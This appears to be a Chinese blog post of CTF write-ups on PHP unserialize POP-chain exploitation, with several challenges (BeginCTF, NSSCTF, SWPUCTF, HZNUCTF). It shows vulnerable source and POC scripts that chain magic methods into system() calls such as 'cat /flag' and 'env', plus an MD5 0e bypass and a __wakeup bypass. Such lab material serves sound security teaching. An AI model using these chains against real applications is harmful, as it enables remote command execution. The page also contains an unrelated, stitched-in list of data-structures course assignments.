POP链构造

目录

魔术方法:

BeginCTF_POPgadget

NSSCTF_POP

popchain POC

[SWPUCTF 2022 新生赛]ez_1zpop 

[HZNUCTF 2023 preliminary]ppppop


魔术方法:

__call 触发条件:当前对象调用一个不存在的方法时,就会被触发。

__get触发条件:当前对象试图引用一个难以达到的成员属性的时候自动触发 。

call_user_func : 把第一个参数作为回调函数调用。

__tostring:

//对象转字符串方法
        //要求只能返回字符串类型的数据
        public function __toString(){
            //将需要输出的对象的属性返回即可
            //组织语言进行输出(控制属性的输出)
 
 
 
 $person = new Person('周芷若',15);
    //var_dump($person);
​
    //echo $person;        //对象不能被当做字符串输出
    
    //需求:echo 对象,输出对象里面的所有属性(所有的属性连接成一个字符串)
    echo $person;

call_user_func和call_user_func_array的区别PHP函数call_user_func和call_user_func_array详解 - 简书

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

魔术方法的触发只能在当前函数!!

BeginCTF_POPgadget

原码:

<?php
​
highlight_file(__FILE__);
class Fun{
    private $func = 'call_user_func_array';
    public function __call($f,$p){
        call_user_func($this->func,$f,$p);
    }
}
​
class Test{
    public function __call($f,$p){
        echo getenv("FLAG");
    }
    public function __wakeup(){
        echo "serialize me?";
    }
}
​
class A {
    public $a;
    public function __get($p){
        if(preg_match("/Test/",get_class($this->a))){
            return "No test in Prod\n";
        }
        return $this->a->$p();
    }
}
​
class B {
    public $p;
    public function __destruct(){
        $p = $this->p;
        echo $this->a->$p;
    }
}
​
if(isset($_REQUEST['begin'])){
    unserialize($_REQUEST['begin']);
}
?>

WP:

<?php
class Fun{
​
  private $func = 'system';
​
  public function ___call($f,$p){
​
    call_user_func($this->func,$f,$p);
​
  }
​
}
class A {
​
  public $a;
​
  public function __get($p){
​
    if(preg_match("/Test/",get_class($this->a))){
​
     return "No test in Prod\n";
​    }
​
   return $this->a->$p();
​
  }
​
}
class B {
​
  public $p;
​
    public $a;
     public function __destruct(){
​
    $p = $this->p;
​
    echo $this->a->$p;
​
  }
​
}
​
​
​$bb = new B();
​
$aa = new A();
​
$F = new Fun();//实例化
​
//链子
​
$bb->a = $aa;//可以访问a,但是需要自定义一个public $a; 访问不存在的属性触发__get()
​
$aa->a = $F;//访问FUN类里不存在的方法,触发__call()
​
$bb->p = 'printenv';//或者env (linux下的命令),向call_user_func(fun类)的$p传递system命令参数
​
echo urlencode(serialize($bb));
​
?>

官方WP:

<?php
class Fun{
    private $func;

    public function __construct(){
        $this->func = array(new Test,"__call");
    }
}

class Test{
}

class A {
    public $a;

    public function __construct($a){
        $this->a = $a;
    }
}

class B {
    public $p = "aaa";
}

$a = new B();
$b = new A(new Fun());
$a->a = $b;
echo urlencode(serialize($a));
?>

NSSCTF_POP
<?php
​
error_reporting(0);
show_source("index.php");
​
class w44m{
​
    private $admin = 'aaa';
    protected $passwd = '123456';
​
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}
​
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
​
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
​
$w00m = $_GET['w00m'];
unserialize($w00m);
​
?>

错误poc:

<?php
class w44m{
​
    private $admin = 'w44m';
    protected $passwd = '08067';
​
​
    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}
​
class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}
​
class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}
//实例化
$w2=new w22m();
$w3=new w33m();
$w4=new w44m();
​
$w2->w00m=$w3;
$w3->w00m=$w3;
$w3->w22m='w33m';
​
echo urlencode(serialize($w2));
​
​
​
?>

正确的POC

<?php
class w44m{
    private $admin = 'w44m';
    protected $passwd = '08067';
}
​
class w22m{
    public $w00m;
​
}
​
class w33m{
    public $w00m;
    public $w22m;
​
}
//实例化
$w2=new w22m();
$w3=new w33m();
$w4=new w44m();
​
$w2->w00m=$w3;//从destruct开始顺理成章来到w33m里
$w3->w00m=$w4;//来到w44m类里面,方便下一步访问。但是我需要触发tostring,利用下一步方法
$w3->w22m='Getflag';//访问w44m里的方法Getflag字符串 触发to_string
echo urlencode(serialize($w2));
?>

[NISACTF 2022]_[nisactf 2022]bqt-CSDN博客

popchain POC
<?php
class Road_is_Long{
    public $page;
    public $string;
}
class Try_Work_Hard{
    protected  $var='/flag';
}
class Make_a_Change{
    public $effort;
​
}
$r=new Road_is_Long;
$t=new Try_Work_Hard;
$m=new Make_a_Change;
$r->page=$r;//触发正则进行匹配,page类对象会被解析成字符串去匹配正则,触发tostring
$r->string=$m;//m类里面没有page这个属性,此时的page会被自动认为是属性/方法,而不是类,触发get
$m->effort=$t;//将对象当成函数,此时触发当前对象下的invoke,最后include('/flag');
echo urlencode(serialize($r));
?>
[SWPUCTF 2022 新生赛]ez_1zpop 

知识点提前介绍: 

0e绕过

md5相等及碰撞绕过_md5强等于绕过-CSDN博客^v99^pc_search_result_base2&utm_term=md5%E7%9B%B8%E7%AD%89%E7%9A%84%E4%B8%8D%E5%90%8C%E5%AD%97%E7%AC%A6%E4%B8%B2&spm=1018.2226.3001.4187

第一步:把没必要的代码删除

小经验:__construct函数在反序列化题直接删掉,它只在初始化时生效

dxg对象是没有价值信息,删掉

 源码:

<?php
error_reporting(0);
class dxg
{
   function fmm()
   {
      return "nonono";
   }
}

class lt
{
   public $impo='hi';
   public $md51='weclome';
   public $md52='to NSS';
   function __construct()
   {
      $this->impo = new dxg;
   }
   function __wakeup()
   {
      $this->impo = new dxg;
      return $this->impo->fmm();
   }

   function __toString()
   {
      if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
         return $this->impo->fmm();
   }
   function __destruct()
   {
      echo $this;
   }
}

class fin
{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm()
   {
      $b = $this->a;
      $b($this->title);
   }
}

if (isset($_GET['NSS'])) {
   $Data = unserialize($_GET['NSS']);
} else {
   highlight_file(__file__);
}

处理后: 

class lt{
    public $impo = 'hi';
    public $md51 = 'weclome';
    public $md52 = 'to NSS';
    function __wakeup(){
        $this->impo = new dxg;
        return $this->impo->fmm();
    }
    function __toString(){
        if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
            return $this->impo->fmm();
    }
    function __destruct(){
        echo $this;
    }
}
class fin{
   public $a;
   public $url = 'https://www.ctfer.vip';
   public $title;
   function fmm(){
      $b = $this->a;
      $b($this->title);
   }
}

分析:

fin对象

fmm方法通过给b赋值后,当函数调用,如果给b赋值后,当函数调用,如果给b=‘system’

title再传入我们想要的命令

最后就可得到例,system(‘ls’) => a='system';a=′syste**m′;title=‘目标命令’

lt对象

反序列化触发wakeup,destruct,wakeup方法中,给impo实例一个dxg对象,并直接return,无法获取有效信息,绕过wakeup的方法很简单,只需要将反序列化后的字符串,将对象属性数量改大,如,O:3:“fin”:3:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;} => O:3:“fin”:4:{s:1:“a”;N;s:3:“url”;N;s:5:“title”;N;}

destruct方法触发就很简单了,将自己当字符串输出,直接触发toString方法,返回fmm方法

(isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)
// isset() 判断是否配置impo
// md5($this->md51) == md5($this->md52)  弱等于
// s155964671a  =md5=> 0e342768416822451524974117254469
// s214587387a  =md5=> 0e848240448830537924465865611904

构造: 

<?php
class lt
{
   public $impo='';
   public $md51='s1885207154a';
   public $md52='s1836677006a';//0e绕过

}

class fin
{
   public $a='system';
   public $title='cat /flag';

}
//实例化
$lt=new lt();
$fin=new fin();
//链子:
$lt->impo=$fin;
echo urlencode(serialize($lt));
?>记得绕过wakeup

MD5值 md5("s1885207154a") => 0e509367213418206700842008763514 md5("s1836677006a") => 0e481036490867661113260034900752

[HZNUCTF 2023 preliminary]ppppop

有关setcookies:https://www.cnblogs.com/xingmeng/p/3376027.html

bp抓包修改set-cookie

pop链错误构造

strrev()函数:返回一个新的字符串,其中的原始字符串被反转了。

解密后反转,所以要反转后加密获取post值(剥洋葱)

<?php
class A {
    public $className;
    public $funcName;
    public $args;

}

class B {
    public function __call($func, $arg) {
        $func($arg[0]);
    }
}
$aa=new A;
//实例化
$aa->className='B';
$aa->funcName='system';
$aa->args='env';
echo urlencode(base64_encode(strrev(serialize($aa))));

?>

 修改set-cookie 0变1得到源代码;

参考:

https://www.cnblogs.com/Article-kelp/p/14726217.html

burpsuite抓包GET传参转为POST传参_burpsuite把get改为post-CSDN博客

  • 52
    点赞
  • 46
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
实验一: 1、(必做题)采用函数统计学生成绩:输入学生的成绩,计算并输出这些学生的最低分、最高分、平均分。 2、(必做题)采用递归和非递归方法计算k阶裴波那契序列的第n项的值,序列定义如下: f0=0, f1=0, …, fk-2=0, fk-1=1, fn= fn-1+fn-2+…+fn-k (n>=k) 要求:输入k(1<=k<=5)和n(0<=n<=30),输出fn。 3、(选做题)采用递归和非递归方法求解汉诺塔问题,问题描述如下: 有三根柱子A、B、C,在柱子A上从下向上有n个从大到小的圆盘,在柱子B和C上没有圆盘,现需将柱子A上的所有圆盘移到柱子C上,可以借助柱子B,要求每次移动一个圆盘,每根柱子上的圆盘只能大的在下,小的在上。 要求:输入n,输出移动步骤。 实验二: 1、(必做题)每个学生的成绩信息包括:学号、语文、数学、英语、总分、加权平均分;采用动态方法创建数组用于存储若干学生的成绩信息;输入学生的学号、语文、数学、英语成绩;计算学生的总分和加权平均分(语文占30%,数学占50%,英语占20%);输出学生的成绩信息。 2、(必做题)可以在数组末尾追加新学生的成绩信息;可以根据学号,删除该学生的成绩信息。 3、(选做题)可以根据学号或总分,升序排序学生的成绩信息。 实验三: 1、(必做题)每个学生的成绩信息包括:学号、语文、数学、英语、总分、加权平均分;采用链表存储若干学生的成绩信息;输入学生的学号、语文、数学、英语成绩;计算学生的总分和加权平均分(语文占30%,数学占50%,英语占20%);输出学生的成绩信息。 2、(必做题)可以在链表末尾追加新学生的成绩信息;可以根据学号,删除该学生的成绩信息。 3、(选做题)可以根据学号或总分,升序排序学生的成绩信息。 实验四: 1、(必做题)假设有序表中数据元素类型是整型,请采用顺序表或(带头结点)单链表实现: (1)OrderInsert(&L, e, int (*compare)(a, b)) //根据有序判定函数compare,在有序表L的适当位置插入元素e; (2)OrderInput(&L, int (*compare)(a, b)) //根据有序判定函数compare,并利用有序插入函数OrderInsert,构造有序表L; (3) OrderMerge(&La, &Lb, &Lc, int (*compare)()) //根据有序判定函数compare,将两个有序表La和Lb归并为一个有序表Lc。 2、(选做题)请实现: (1)升幂多项式的构造,升幂多项式是指多项式的各项按指数升序有序,约定系数不能等于0,指数不能小于0; (2)两个升幂多项式的相加。 实验五: 1、(必做题)假设栈中数据元素类型是字符型,请采用顺序栈实现栈的以下基本操作: (1)Status InitStack (&S) //构造空栈S; (2)Status Push(&S, e) //元素e入栈S; (3)Status Pop(&S, &e) //栈S出栈,元素为e。 2、(必做题)假设队列中数据元素类型是字符型,请采用链队列实现队列的以下基本操作: (1)Status InitQueue(&Q) //构造空队列Q; (2)Status EnQueue(&Q, e) //元素e入队列Q; (3)Status DeQueue (&Q, &e) //队列Q出队列,元素为e。 3、(必做题)请实现:对于一个可能包括括号{}、[]、()的表达式,判定其中括号是否匹配。 实验六: 1、(必做题)假设二叉树中数据元素类型是字符型,请采用二叉链表实现二叉树的以下基本操作: (1)根据二叉树的先序序列和中序序列构造二叉树; (2)根据先序遍历二叉树; (3)根据中序遍历二叉树; (4)根据后序遍历二叉树。 测试数据包括如下错误数据: 先序:1234;中序:12345 先序:1234;中序:1245 先序:1234;中序:4231 2、(必做题)对于一棵二叉树,请实现: (1)计算二叉树的叶子数目; (2)计算二叉树的深度。 3、(选做题)给定n个权值,请构造它们的最优二叉树(赫夫曼树)。 期末大实验: 一、任意长十进制整数加法 二、车厢调度 三、赫夫曼编/译码 四、无线广播部署

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值